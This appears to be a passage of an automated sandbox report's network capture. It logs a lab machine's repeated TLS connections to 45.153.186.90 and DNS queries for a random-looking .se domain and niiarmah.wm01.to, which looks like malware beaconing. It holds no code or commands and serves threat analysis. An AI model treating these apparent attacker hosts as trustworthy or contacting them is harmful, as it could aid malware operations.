Dec 6, 2021 12:19:42.472248077 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.473275900 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.474689007 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.474701881 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.481214046 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.481229067 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.733206987 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.733287096 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:42.733309984 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.733346939 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.733665943 CET	49869	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:42.733692884 CET	443	49869	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:44.743860006 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.743935108 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:44.744121075 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.745156050 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.745182991 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:44.942641020 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:44.942780018 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.943438053 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.943444967 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:44.949280977 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:44.949294090 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:45.453290939 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:45.453356981 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:45.453373909 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:45.453399897 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:45.453423023 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:45.453443050 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:45.453722954 CET	49870	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:45.453741074 CET	443	49870	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.462759972 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.462802887 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.462907076 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.464124918 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.464143038 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.569072008 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.569221973 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.569762945 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.569775105 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.579538107 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.579550982 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.785960913 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.786046982 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.786066055 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.786098003 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:47.786115885 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.786133051 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.786369085 CET	49871	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:47.786390066 CET	443	49871	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:49.806015015 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:49.806063890 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:49.806457996 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:49.807440042 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:49.807457924 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.020107031 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.020226955 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.020915031 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.020930052 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.024368048 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.024388075 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.306492090 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.306565046 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:50.306634903 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.306663990 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.307163000 CET	49872	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:50.307192087 CET	443	49872	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.318945885 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.318998098 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.319119930 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.320071936 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.320096970 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.429888964 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.430038929 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.430577040 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.430588961 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.434922934 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.434937954 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.669873953 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.670005083 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:52.670079947 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.670161963 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.670800924 CET	49874	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:52.670828104 CET	443	49874	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:54.842660904 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.842709064 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:54.842807055 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.843579054 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.843595028 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:54.937834978 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:54.938774109 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.939393997 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.939404011 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:54.943881989 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:54.943897963 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:55.178364038 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:55.178457022 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:55.178491116 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:55.178518057 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:55.178894997 CET	49875	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:55.178947926 CET	443	49875	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.205707073 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.205781937 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.205895901 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.206372976 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.206403017 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.429970026 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.430068016 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.431092024 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.431111097 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.434647083 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.434664965 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.887408018 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.887505054 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:57.887742996 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.888350964 CET	49876	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:57.888391972 CET	443	49876	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:59.904540062 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:59.904597044 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:19:59.904716015 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:59.906168938 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:19:59.906193018 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.044984102 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.045084000 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.045707941 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.045720100 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.049206972 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.049226046 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.278626919 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.278723955 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.278748035 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.278778076 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:00.278800964 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.278825045 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.279051065 CET	49877	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:00.279067039 CET	443	49877	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.289052010 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.289091110 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.289228916 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.289930105 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.289963007 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.592570066 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.592806101 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.593784094 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.593801975 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.603790998 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.603817940 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.900866032 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.900964975 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:02.903651953 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.905452013 CET	49878	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:02.905492067 CET	443	49878	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:04.914129019 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:04.914170980 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:04.914298058 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:04.915011883 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:04.915030956 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.026381016 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.026566029 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.027884960 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.027895927 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.032491922 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.032507896 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.652427912 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.652681112 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:05.652759075 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.652805090 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.653172970 CET	49879	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:05.653209925 CET	443	49879	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.666038036 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.666089058 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.666305065 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.667429924 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.667449951 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.758327961 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.758850098 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.759423018 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.759439945 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.763780117 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.763804913 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.955059052 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.955137968 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:07.955385923 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.956075907 CET	49880	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:07.956113100 CET	443	49880	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:09.962013960 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:09.962085009 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:09.962376118 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:09.962949038 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:09.962975979 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.198333979 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.198486090 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.199143887 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.199162960 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.214071035 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.214095116 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.434372902 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.434463024 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:10.434572935 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.434833050 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.435221910 CET	49881	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:10.435247898 CET	443	49881	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:12.449806929 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.449857950 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:12.450007915 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.450588942 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.450617075 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:12.583544970 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:12.583676100 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.586461067 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.586483002 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:12.592647076 CET	49882	443	192.168.2.4	45.153.186.90
Dec 6, 2021 12:20:12.592667103 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:13.174170017 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:13.174293995 CET	443	49882	45.153.186.90	192.168.2.4
Dec 6, 2021 12:20:13.174391031 CET	49882	443	192.168.2.4	45.153.186.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 6, 2021 12:18:27.018407106 CET	53097	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:27.140331030 CET	53	53097	8.8.8.8	192.168.2.4
Dec 6, 2021 12:18:27.243932962 CET	49257	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:27.263843060 CET	53	49257	8.8.8.8	192.168.2.4
Dec 6, 2021 12:18:27.270508051 CET	49258	123	192.168.2.4	194.58.200.20
Dec 6, 2021 12:18:27.317620993 CET	123	49258	194.58.200.20	192.168.2.4
Dec 6, 2021 12:18:27.331526995 CET	62389	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:27.368480921 CET	62389	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:27.407763958 CET	62389	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:27.442845106 CET	62389	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:27.477871895 CET	62389	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:27.957701921 CET	49910	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:27.977278948 CET	53	49910	8.8.8.8	192.168.2.4
Dec 6, 2021 12:18:27.978399038 CET	49911	123	192.168.2.4	194.58.200.20
Dec 6, 2021 12:18:28.015126944 CET	123	49911	194.58.200.20	192.168.2.4
Dec 6, 2021 12:18:28.019891024 CET	55854	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.055953979 CET	55854	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.091083050 CET	55854	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.126245022 CET	55854	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.161612034 CET	55854	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.201806068 CET	64549	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.237107038 CET	64549	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.272151947 CET	64549	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.307394981 CET	64549	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:28.342597008 CET	64549	53	192.168.2.4	185.243.215.214
Dec 6, 2021 12:18:29.472547054 CET	63153	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:29.492039919 CET	53	63153	8.8.8.8	192.168.2.4
Dec 6, 2021 12:18:29.493199110 CET	63154	123	192.168.2.4	194.58.200.20
Dec 6, 2021 12:18:29.540256977 CET	123	63154	194.58.200.20	192.168.2.4
Dec 6, 2021 12:18:29.543028116 CET	52991	53	192.168.2.4	1.2.4.8
Dec 6, 2021 12:18:29.782125950 CET	53	52991	1.2.4.8	192.168.2.4
Dec 6, 2021 12:18:29.784178019 CET	53700	53	192.168.2.4	1.2.4.8
Dec 6, 2021 12:18:29.998050928 CET	53	53700	1.2.4.8	192.168.2.4
Dec 6, 2021 12:18:31.101105928 CET	51726	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:31.150785923 CET	53	51726	8.8.8.8	192.168.2.4
Dec 6, 2021 12:18:31.151928902 CET	51727	123	192.168.2.4	194.58.200.20
Dec 6, 2021 12:18:31.198793888 CET	123	51727	194.58.200.20	192.168.2.4
Dec 6, 2021 12:18:31.201875925 CET	56794	53	192.168.2.4	114.114.114.114
Dec 6, 2021 12:18:31.460943937 CET	53	56794	114.114.114.114	192.168.2.4
Dec 6, 2021 12:18:31.463043928 CET	56534	53	192.168.2.4	114.114.114.114
Dec 6, 2021 12:18:31.592924118 CET	53	56534	114.114.114.114	192.168.2.4
Dec 6, 2021 12:18:33.642477036 CET	56627	53	192.168.2.4	8.8.8.8
Dec 6, 2021 12:18:33.719330072 CET	53	56627	8.8.8.8	192.168.2.4

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 6, 2021 12:18:27.366453886 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:27.403275967 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:27.442539930 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:27.477565050 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:27.512629986 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.054863930 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.090687037 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.125963926 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.161180019 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.196342945 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.236654043 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.271886110 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.306924105 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.342140913 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable
Dec 6, 2021 12:18:28.377342939 CET	185.243.215.214	192.168.2.4	51c2	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Dec 6, 2021 12:18:27.018407106 CET	192.168.2.4	8.8.8.8	0x6716	Standard query (0)	sdns.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.243932962 CET	192.168.2.4	8.8.8.8	0xedfa	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.331526995 CET	192.168.2.4	185.243.215.214	0x9147	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.368480921 CET	192.168.2.4	185.243.215.214	0x9147	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.407763958 CET	192.168.2.4	185.243.215.214	0x9147	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.442845106 CET	192.168.2.4	185.243.215.214	0x9147	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.477871895 CET	192.168.2.4	185.243.215.214	0x9147	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.957701921 CET	192.168.2.4	8.8.8.8	0xa7e1	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.019891024 CET	192.168.2.4	185.243.215.214	0x5a9c	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.055953979 CET	192.168.2.4	185.243.215.214	0x5a9c	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.091083050 CET	192.168.2.4	185.243.215.214	0x5a9c	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.126245022 CET	192.168.2.4	185.243.215.214	0x5a9c	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.161612034 CET	192.168.2.4	185.243.215.214	0x5a9c	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.201806068 CET	192.168.2.4	185.243.215.214	0x2a5e	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.237107038 CET	192.168.2.4	185.243.215.214	0x2a5e	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.272151947 CET	192.168.2.4	185.243.215.214	0x2a5e	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.307394981 CET	192.168.2.4	185.243.215.214	0x2a5e	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:28.342597008 CET	192.168.2.4	185.243.215.214	0x2a5e	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:29.472547054 CET	192.168.2.4	8.8.8.8	0x7923	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:29.543028116 CET	192.168.2.4	1.2.4.8	0x65a	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:29.784178019 CET	192.168.2.4	1.2.4.8	0xb7ee	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.101105928 CET	192.168.2.4	8.8.8.8	0x88e4	Standard query (0)	ntp.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.201875925 CET	192.168.2.4	114.114.114.114	0xf363	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:31.463043928 CET	192.168.2.4	114.114.114.114	0x8112	Standard query (0)	a6d089361c3e66334521ca401baef106.se	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:33.642477036 CET	192.168.2.4	8.8.8.8	0x9d84	Standard query (0)	niiarmah.wm01.to	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Dec 6, 2021 12:18:27.140331030 CET	8.8.8.8	192.168.2.4	0x6716	No error (0)	sdns.se		185.243.215.214	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.263843060 CET	8.8.8.8	192.168.2.4	0xedfa	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:27.977278948 CET	8.8.8.8	192.168.2.4	0xa7e1	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
Dec 6, 2021 12:18:29.492039919 CET	8.8.8.8	192.168.2.4	0x7923	No error (0)	ntp.se		194.58.200.20	A (IP address)	IN (0x0001)
